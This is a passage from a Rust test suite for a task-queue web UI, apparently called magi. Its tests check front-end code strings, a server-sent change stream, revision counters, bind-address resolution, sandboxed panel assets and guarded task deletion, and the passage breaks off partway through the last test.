15957 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15958 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15959 assert!(
15961 APP_CSS.contains(
15962 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15963 )
15964 );
15965
15966 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15968 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15969 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15970 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15971
15972 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15976 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15977 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15978 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15979
15980 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15982 }
15983
15984 #[test]
15985 fn panel_sandbox_carries_exactly_popups() {
15986 let needle = "sandbox: \"";
15987 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15988 assert_eq!(
15989 matches.len(),
15990 1,
15991 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15992 );
15993 let start = matches[0].0 + needle.len();
15994 let end = APP_JS[start..]
15995 .find('"')
15996 .expect("sandbox attribute value must be terminated by a closing quote");
15997 let val = &APP_JS[start..start + end];
15998 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15999 let expected: std::collections::BTreeSet<&str> =
16000 ["allow-popups", "allow-popups-to-escape-sandbox"]
16001 .into_iter()
16002 .collect();
16003 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
16004 assert!(
16005 !tokens.contains("allow-scripts"),
16006 "allow-scripts must never be present in sandbox"
16007 );
16008 assert!(
16009 !tokens.contains("allow-same-origin"),
16010 "allow-same-origin must never be present in sandbox"
16011 );
16012 }
16013
16014 #[test]
16015 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
16016 assert!(
16025 APP_JS.contains(
16026 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
16027 ),
16028 "the search-clearing branch must run before state.queueFocus is cleared, or the \
16029 recursive renderQueue() call has nothing left to jump to"
16030 );
16031 assert!(
16032 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
16033 "state.queueFocus must be cleared only once the jump has landed, so a card that \
16034 arrives later still gets it"
16035 );
16036 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
16037 assert!(APP_JS.contains("is not in the current Backlog."));
16038 assert!(APP_JS.contains("li.card[data-task-id=\""));
16039 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
16040 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
16041 assert!(APP_CSS.contains(".card-permalink"));
16042 assert!(APP_CSS.contains(".queue-focus-status"));
16043 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
16044 }
16045
16046 #[test]
16047 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
16048 assert!(
16056 APP_JS.contains(
16057 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
16058 ),
16059 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
16060 );
16061 }
16062
16063 #[test]
16064 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
16065 assert!(
16066 APP_JS.contains("round.verified_head !== round.head"),
16067 "a round that verified an earlier commit must be visibly distinct from one that \
16068 verified the head reviewers are looking at now"
16069 );
16070 assert!(
16071 APP_JS.contains("round.verified_at"),
16072 "when a check ran must be on the wire, not just which commit"
16073 );
16074 assert!(
16075 APP_JS.contains("resource_blocked"),
16076 "a command magi never got to run (shared build cache contention) must not render \
16077 the same as a command that ran and failed"
16078 );
16079 }
16080
16081 #[test]
16082 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
16083 assert!(
16091 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
16092 "every KPI tile built through statusTile() must route its click through \
16093 openRunsFiltered, the single place that sets the Runs filter"
16094 );
16095 for (label, status) in [
16096 ("Merged", "merged"),
16097 ("Ready", "ready"),
16098 ("Blocked", "blocked"),
16099 ("Stalled", "stalled"),
16100 ] {
16101 let call = format!("statusTile(\"{label}\", t.{status}, ");
16102 assert!(
16103 APP_JS.contains(&call),
16104 "expected the {label} KPI tile built via {call}..."
16105 );
16106 assert!(
16107 APP_JS.contains(&format!("status === \"{status}\"")),
16108 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
16109 compare a run against, not one invented only for the stats tile"
16110 );
16111 }
16112 assert!(
16113 APP_JS.contains("function openRunsFiltered(status)"),
16114 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
16115 );
16116 assert!(
16117 APP_JS.contains(
16118 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
16119 ),
16120 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
16121 );
16122 assert!(
16130 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
16131 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
16132 hashchange event that may never fire"
16133 );
16134 }
16135
16136 #[test]
16137 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
16138 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
16144 assert!(
16145 APP_JS.contains(
16146 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
16147 ),
16148 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
16149 guard for an incompatible tree section"
16150 );
16151 }
16152
16153 #[test]
16154 fn every_stats_queue_tile_names_a_real_queue_section() {
16155 assert!(
16161 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
16162 "every queue tile built through sectionTile() must route its click through \
16163 openQueueSectionFocus"
16164 );
16165 for key in ["upnext", "running", "done", "held", "blocked"] {
16166 assert!(
16167 APP_JS.contains(&format!("{{ key: \"{key}\",")),
16168 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
16169 );
16170 }
16171 for line in [
16175 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
16176 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
16177 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
16178 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
16179 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
16180 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
16181 ] {
16182 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
16183 }
16184 }
16185
16186 #[test]
16187 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
16188 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
16195 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
16196 assert!(APP_JS.contains("function revealQueueSection(details)"));
16197 assert!(
16198 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
16199 "renderQueue() must consume both focus channels on every pass"
16200 );
16201 assert!(
16202 APP_JS.contains(
16203 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
16204 ),
16205 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
16206 the recursive renderQueue() call has nothing left to reveal"
16207 );
16208 assert!(
16209 APP_JS.contains(
16210 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
16211 ),
16212 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
16213 );
16214 assert!(
16222 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
16223 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
16224 hashchange event that may never fire"
16225 );
16226 }
16227
16228 #[tokio::test]
16229 async fn the_change_stream_announces_the_current_revisions_on_connect() {
16230 let f = Fixture::start().await;
16231
16232 let mut socket = tokio::net::TcpStream::connect(f.addr)
16233 .await
16234 .expect("connect");
16235 socket
16236 .write_all(
16237 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
16238 )
16239 .await
16240 .expect("write request");
16241
16242 let mut seen = String::new();
16245 let mut buf = [0u8; 1024];
16246 while !seen.contains("event: change") {
16247 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
16248 .await
16249 .expect("the stream must speak within five seconds")
16250 .expect("read");
16251 assert!(read > 0, "the server closed the change stream: {seen}");
16252 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
16253 }
16254
16255 assert!(
16256 seen.to_lowercase()
16257 .contains("content-type: text/event-stream"),
16258 "the browser only reconnects automatically for a real SSE stream: {seen}"
16259 );
16260 let data = seen
16261 .lines()
16262 .find_map(|l| l.strip_prefix("data:"))
16263 .expect("a data line");
16264 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
16265 assert!(
16266 payload["queue_rev"].is_u64()
16267 && payload["runs_rev"].is_u64()
16268 && payload["questions_rev"].is_u64()
16269 && payload["talks_rev"].is_u64()
16270 && payload["notifications_rev"].is_u64()
16271 && payload["loop_rev"].is_u64(),
16272 "the client needs one revision per store to know what to refetch, \
16273 and `talks_rev` is the only notification a standing talk gets - a \
16274 phone whose radio slept through a turn learns about it here, as \
16275 does one whose operator started the loop from another device: \
16276 {payload}"
16277 );
16278
16279 let health = f.get("/api/health").await.json();
16286 for key in [
16287 "queue_rev",
16288 "runs_rev",
16289 "questions_rev",
16290 "talks_rev",
16291 "notifications_rev",
16292 "loop_rev",
16293 ] {
16294 assert!(
16295 health[key].is_u64(),
16296 "health is the change stream's fallback and is missing `{key}`: {health}"
16297 );
16298 }
16299 }
16300
16301 #[tokio::test]
16302 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
16303 let f = Fixture::start().await;
16304 let before = f.get("/api/health").await.json()["talks_rev"]
16305 .as_u64()
16306 .expect("talks_rev");
16307
16308 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
16309 std::thread::sleep(Duration::from_millis(10));
16310 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
16311 on_disk.turns.push(crate::talk::Turn {
16312 breaks: Some(Vec::new()),
16313 messages: Vec::new(),
16314 posted_by: None,
16315 who: crate::talk::Who::Operator,
16316 body: "a new turn".to_owned(),
16317 at: Timestamp::now(),
16318 attachments: Vec::new(),
16319 usage: None,
16320 });
16321 f.talks().put(&mut on_disk).expect("record a turn");
16322
16323 let after = f.get("/api/health").await.json()["talks_rev"]
16324 .as_u64()
16325 .expect("talks_rev");
16326 assert_ne!(
16327 before, after,
16328 "a phone must be able to notice a talk's reply without polling every store"
16329 );
16330 }
16331
16332 #[test]
16333 fn bind_reads_back_from_the_spelling_the_cli_prints() {
16334 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
16338 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
16339 }
16340 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
16341 assert!("everywhere".parse::<Bind>().is_err());
16342 }
16343
16344 #[test]
16345 fn an_explicit_bind_address_is_taken_verbatim() {
16346 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
16347
16348 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
16349
16350 assert_eq!(addr, asked);
16351 assert!(
16352 warning.is_none(),
16353 "an operator who named an address gets no lecture"
16354 );
16355 }
16356
16357 #[test]
16358 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
16359 let (addr, warning) = resolve_bind(&Bind::Auto);
16360
16361 match addr {
16368 IpAddr::V4(ip) if is_tailnet(&ip) => {
16369 assert!(warning.is_none(), "a tailnet address needs no warning");
16370 }
16371 other => {
16372 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
16373 let warning = warning.expect("a fallback has to explain itself");
16374 assert!(
16375 warning.contains("127.0.0.1") && warning.contains("local-only"),
16376 "the warning says what happened and what it costs: {warning}"
16377 );
16378 }
16379 }
16380 }
16381
16382 #[test]
16383 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
16384 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
16388 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
16389 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
16390 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
16391 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
16392 }
16393
16394 #[test]
16395 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
16396 let ids = vec![
16397 "20260902-140501-aaaa".to_owned(),
16398 "20260902-140502-aabb".to_owned(),
16399 ];
16400
16401 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
16402 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
16403 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
16404
16405 assert_eq!(missing.status, StatusCode::NOT_FOUND);
16406 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
16407 assert_eq!(short, "20260902-140502-aabb");
16408 }
16409 #[tokio::test]
16410 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
16411 let fx = Fixture::start().await;
16417 let id = panel(
16418 &fx,
16419 "<img src=\"shot.png\">",
16420 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
16421 );
16422
16423 let doc = fx
16425 .get(&format!("/api/questions/{id}/panel/index.html"))
16426 .await;
16427 assert_eq!(doc.status, 200, "{}", doc.body);
16428 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
16429
16430 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
16431 assert_eq!(sibling.status, 200, "{}", sibling.body);
16432 assert_eq!(sibling.header("content-type"), Some("image/png"));
16433 assert_eq!(
16434 sibling.header("content-security-policy"),
16435 Some(PANEL_CSP),
16436 "the sibling route must carry the same policy as the asset route"
16437 );
16438
16439 assert_eq!(
16442 fx.head(&format!("/api/questions/{id}/panel")).await.status,
16443 200
16444 );
16445 }
16446
16447 #[test]
16448 fn delta_stamps_cover_add_update_remove_and_noop() {
16449 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
16450 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
16451 let delta = diff_stamps(&before, &after, 42);
16452 assert_eq!(delta.base, 42);
16453 assert_eq!(delta.changed, ["b", "c"]);
16454 assert_eq!(delta.removed, ["a"]);
16455 let same = diff_stamps(&after, &after, 43);
16456 assert!(same.changed.is_empty() && same.removed.is_empty());
16457 assert_ne!(stamps_revision(&before), stamps_revision(&after));
16458 let nanos: Stamps = [("b".into(), (2, 20))].into();
16459 let same_ms: Stamps = [("b".into(), (3, 20))].into();
16460 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
16461 assert_eq!(stamps_revision(&Stamps::new()), 0);
16462 }
16463
16464 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
16465 std::fs::create_dir_all(home.join("runs")).unwrap();
16466 Arc::new(Ui::new(
16467 Queue::at(home.join("queue")),
16468 Questions::at(home.join("questions")),
16469 Talks::at(home.join("talks")),
16470 home.join("runs"),
16471 home.to_owned(),
16472 PathBuf::from("/repo/magi"),
16473 ))
16474 }
16475
16476 #[tokio::test]
16477 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
16478 let home = TempDir::new().unwrap();
16479 let ui = delta_test_ui(home.path());
16480 let mut task = Task::new(
16481 "stream task".into(),
16482 "text".into(),
16483 PathBuf::from("/repo"),
16484 Source::Human,
16485 );
16486 ui.queue.put(&mut task).unwrap();
16487 let response = events(State(ui.clone())).await.into_response();
16488 let mut stream = response.into_body().into_data_stream();
16489 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
16490 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
16491 .await
16492 .unwrap()
16493 .unwrap()
16494 .unwrap();
16495 let text = String::from_utf8(chunk.to_vec()).unwrap();
16496 let data = text
16497 .lines()
16498 .find_map(|line| {
16499 line.strip_prefix("data: ")
16500 .or_else(|| line.strip_prefix("data:"))
16501 })
16502 .unwrap();
16503 serde_json::from_str(data).unwrap()
16504 }
16505 let initial = change(&mut stream).await;
16506 assert!(initial.get("queue_delta").is_none());
16507 task.instruction.push_str(" changed");
16508 ui.queue.put(&mut task).unwrap();
16509 let updated = change(&mut stream).await;
16510 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
16511 assert_eq!(
16512 updated["queue_delta"]["changed"],
16513 serde_json::json!([task.id])
16514 );
16515 assert_eq!(
16516 updated["queue_rev"].as_u64(),
16517 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
16518 );
16519 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
16520 let removed = change(&mut stream).await;
16521 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
16522 assert_eq!(
16523 removed["queue_delta"]["removed"],
16524 serde_json::json!([task.id])
16525 );
16526 }
16527
16528 #[tokio::test]
16529 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
16530 let home = TempDir::new().unwrap();
16531 let ui = delta_test_ui(home.path());
16532 let queue = ui.queue.clone();
16533 let query = |ids: Option<&str>| {
16534 Query(ListQuery {
16535 limit: Some(2),
16536 ids: ids.map(str::to_owned),
16537 })
16538 };
16539 let mut root = Task::new(
16540 "root".into(),
16541 "instruction".into(),
16542 PathBuf::from("/repo"),
16543 Source::Human,
16544 );
16545 queue.put(&mut root).unwrap();
16546 let mut blocked = Task::new(
16547 "blocked".into(),
16548 "instruction".into(),
16549 PathBuf::from("/repo"),
16550 Source::Human,
16551 );
16552 blocked.block(vec![root.id.clone()], None);
16553 queue.put(&mut blocked).unwrap();
16554 let whole =
16555 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
16556 .unwrap();
16557 let subset = serde_json::to_value(
16558 queue_list(State(ui.clone()), query(Some(&root.id)))
16559 .await
16560 .unwrap()
16561 .0,
16562 )
16563 .unwrap();
16564 assert_eq!(whole, subset, "requested root plus its blocked dependent");
16565 let blockers = serde_json::to_value(
16566 queue_list(State(ui.clone()), query(Some("")))
16567 .await
16568 .unwrap()
16569 .0,
16570 )
16571 .unwrap();
16572 assert_eq!(blockers.as_array().unwrap().len(), 1);
16573 assert_eq!(blockers[0]["id"], blocked.id);
16574 assert_eq!(
16575 blockers[0]["waits_on"],
16576 whole
16577 .as_array()
16578 .unwrap()
16579 .iter()
16580 .find(|row| row["id"] == blocked.id)
16581 .unwrap()["waits_on"]
16582 );
16583
16584 for id in [
16585 "20260902-140501-aaaa",
16586 "20260902-140502-bbbb",
16587 "20260902-140503-cccc",
16588 ] {
16589 write_run(&ui.runs, id, RunStatus::Merged);
16590 }
16591 let old = serde_json::to_value(
16592 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
16593 .await
16594 .unwrap()
16595 .0,
16596 )
16597 .unwrap();
16598 assert!(
16599 old.as_array().unwrap().is_empty(),
16600 "older updates must not enter the window"
16601 );
16602 let newest = serde_json::to_value(
16603 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
16604 .await
16605 .unwrap()
16606 .0,
16607 )
16608 .unwrap();
16609 assert_eq!(newest.as_array().unwrap().len(), 1);
16610 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
16611
16612 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
16613 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
16614 let talks = serde_json::to_value(
16615 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
16616 .await
16617 .unwrap()
16618 .0,
16619 )
16620 .unwrap();
16621 assert_eq!(talks.as_array().unwrap().len(), 1);
16622 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
16623 assert_eq!(
16624 serde_json::to_value(
16625 talks_list(State(ui.clone()), query(Some("")))
16626 .await
16627 .unwrap()
16628 .0
16629 )
16630 .unwrap(),
16631 serde_json::json!([])
16632 );
16633 }
16634
16635 #[tokio::test]
16636 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
16637 async fn delta_payload_benchmark() {
16638 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
16639 let ui = delta_test_ui(&home);
16640 let query = |ids: Option<String>| {
16641 Query(ListQuery {
16642 limit: Some(50),
16643 ids,
16644 })
16645 };
16646 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
16647 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
16648 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
16649 let queue_id = queue
16650 .iter()
16651 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
16652 .unwrap_or(&queue[0])
16653 .task
16654 .id
16655 .clone();
16656 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
16657 .await
16658 .unwrap()
16659 .0;
16660 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
16661 .await
16662 .unwrap()
16663 .0;
16664 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
16665 .await
16666 .unwrap()
16667 .0;
16668 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
16669 eprintln!(
16670 "DELTA_PAYLOAD {}",
16671 serde_json::json!({
16672 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
16673 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
16674 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
16675 "counts": [queue.len(), runs.len(), talks.len()],
16676 "blocked": queue_delta.len() - 1,
16677 })
16678 );
16679 }
16680
16681 #[test]
16682 fn runs_revision_moves_when_deleting_an_older_run() {
16683 let temp = TempDir::new().expect("tempdir");
16684 let runs = temp.path().join("runs");
16685 std::fs::create_dir_all(&runs).expect("create runs dir");
16686
16687 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
16688
16689 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
16690 std::thread::sleep(Duration::from_millis(10));
16691 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
16692
16693 let rev_before = runs_revision(&runs);
16694 assert!(rev_before > 0);
16695
16696 let old_dir = runs.join("20260901-100000-old1");
16697 std::fs::remove_dir_all(&old_dir).expect("remove old run");
16698
16699 let rev_after = runs_revision(&runs);
16700 assert_ne!(
16701 rev_before, rev_after,
16702 "deleting an older run must change the revision so other clients see the deletion"
16703 );
16704 }
16705
16706 fn write_state(runs: &FsPath, state: &RunState) {
16711 let dir = runs.join(&state.id);
16712 std::fs::create_dir_all(&dir).expect("run dir");
16713 std::fs::write(
16714 dir.join("run.json"),
16715 serde_json::to_string_pretty(state).expect("serialize run"),
16716 )
16717 .expect("write run.json");
16718 }
16719
16720 #[test]
16725 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
16726 let temp = TempDir::new().expect("tempdir");
16727 let runs = temp.path().join("runs");
16728 std::fs::create_dir_all(&runs).expect("create runs dir");
16729 let mut state = RunState::new(
16730 PathBuf::from("/repo/magi"),
16731 "main".to_owned(),
16732 "0123456789abcdef".to_owned(),
16733 "task".to_owned(),
16734 Config::default(),
16735 );
16736 state.id = "20260902-100000-c0de".to_owned();
16737 write_state(&runs, &state);
16738
16739 let rev_idle = runs_revision(&runs);
16740 std::thread::sleep(Duration::from_millis(10));
16741 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
16742 write_state(&runs, &state);
16743 let rev_started = runs_revision(&runs);
16744 assert_ne!(
16745 rev_idle, rev_started,
16746 "a seat starting must move the revision"
16747 );
16748
16749 std::thread::sleep(Duration::from_millis(10));
16750 state.seat_finished("judge-1");
16751 write_state(&runs, &state);
16752 let rev_finished = runs_revision(&runs);
16753 assert_ne!(
16754 rev_started, rev_finished,
16755 "and clearing it again must move the revision a second time"
16756 );
16757 }
16758
16759 #[tokio::test]
16760 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
16761 let fx = Fixture::start().await;
16766 let q = fx.queue();
16767
16768 let mut t = Task::new(
16769 "Task".to_owned(),
16770 "Instruction".to_owned(),
16771 PathBuf::from("/repo"),
16772 Source::Human,
16773 );
16774 t.block(
16775 vec!["20260101-000000-dead".to_owned()],
16776 Some("waiting on Task 1".to_owned()),
16777 );
16778 t.answers.push(crate::queue::AnsweredQuestion {
16779 question: "Which backend?".to_owned(),
16780 answer: "SQLite".to_owned(),
16781 });
16782 q.put(&mut t).expect("put t");
16783
16784 let res = fx.get("/api/queue").await;
16785 assert_eq!(res.status, 200);
16786 let list = res.json();
16787 let view = list
16788 .as_array()
16789 .expect("array")
16790 .iter()
16791 .find(|v| v["id"] == t.id)
16792 .expect("task in list");
16793 assert_eq!(view["status_str"], "blocked");
16794 assert_eq!(
16795 view["blocked_by"],
16796 serde_json::json!(["20260101-000000-dead"])
16797 );
16798 assert_eq!(view["block_reason"], "waiting on Task 1");
16799 assert_eq!(view["answers"][0]["question"], "Which backend?");
16800 assert_eq!(view["answers"][0]["answer"], "SQLite");
16801
16802 let res = fx
16806 .post(&format!("/api/queue/{}/hold", t.short()), None)
16807 .await;
16808 assert_eq!(res.status, 200);
16809 let held = res.json();
16810 assert_eq!(held["status_str"], "held");
16811 assert_eq!(held["blocked_by"], serde_json::json!([]));
16812 assert!(held["block_reason"].is_null());
16813 assert_eq!(held["answers"][0]["answer"], "SQLite");
16814 }
16815
16816 #[tokio::test]
16817 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
16818 let fx = Fixture::start().await;
16819 let q = fx.queue();
16820 let mk = |title: &str| {
16821 Task::new(
16822 title.to_owned(),
16823 "Instruction".to_owned(),
16824 PathBuf::from("/repo"),
16825 Source::Human,
16826 )
16827 };
16828 let mut root = mk("root");
16829 root.hold_manual(Some("waiting".to_owned()));
16830 q.put(&mut root).unwrap();
16831 let mut mid = mk("mid");
16832 mid.block(vec![root.id.clone()], None);
16833 q.put(&mut mid).unwrap();
16834 let mut leaf = mk("leaf");
16835 leaf.block(vec![mid.id.clone()], None);
16836 q.put(&mut leaf).unwrap();
16837
16838 let list = fx.get("/api/queue").await.json();
16839 let find = |id: &str| {
16840 list.as_array()
16841 .unwrap()
16842 .iter()
16843 .find(|v| v["id"] == id)
16844 .unwrap()
16845 .clone()
16846 };
16847 let leaf_view = find(&leaf.id);
16848 assert_eq!(
16849 leaf_view["waits_on"],
16850 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
16851 );
16852 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
16853 assert_eq!(
16854 find(&mid.id)["waits_on"],
16855 serde_json::json!([format!("{} (held)", root.short())])
16856 );
16857 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
16858 }
16859
16860 #[tokio::test]
16861 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
16862 let fx = Fixture::start().await;
16863 let q = fx.queue();
16864
16865 let mut t1 = Task::new(
16867 "Task 1".to_owned(),
16868 "Instruction 1".to_owned(),
16869 PathBuf::from("/repo"),
16870 Source::Human,
16871 );
16872 let run_id = "20260901-000000-r111";
16873 t1.runs.push(run_id.to_owned());
16874 write_run(&fx.runs(), run_id, RunStatus::Merged);
16875 q.put(&mut t1).expect("put t1");
16876
16877 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
16879 assert_eq!(res.status, 204);
16880 assert!(res.body.is_empty(), "204 No Content has no body");
16881 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
16882 assert!(
16883 fx.runs().join(run_id).exists(),
16884 "run directory must not be deleted when its task is deleted"
16885 );
16886
16887 let mut t2 = Task::new(
16889 "Task 2".to_owned(),
16890 "Instruction 2".to_owned(),
16891 PathBuf::from("/repo"),
16892 Source::Human,
16893 );
16894 t2.status = TaskStatus::Running;
16895 q.put(&mut t2).expect("put t2");
16896 let mut beat = crate::daemon::Status::new();
16897 beat.current = vec![crate::daemon::Current {
16898 task: t2.id.clone(),
16899 run: "20260901-000000-r222".to_owned(),
16900 }];
16901 beat.updated_at = jiff::Timestamp::now();
16902 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16903 .expect("publish a heartbeat");
16904 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16905 assert_eq!(res.status, 409);
16906 assert!(
16907 res.json()["error"]
16908 .as_str()
16909 .unwrap()
16910 .contains("live daemon")
16911 );
16912 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16913
16914 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16920 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16921 .expect("leave a stale heartbeat");
16922 let mut t3 = Task::new(
16923 "Task 3".to_owned(),
16924 "Instruction 3".to_owned(),
16925 PathBuf::from("/repo"),
16926 Source::Human,
16927 );
16928 t3.status = TaskStatus::Running;
16929 q.put(&mut t3).expect("put t3");
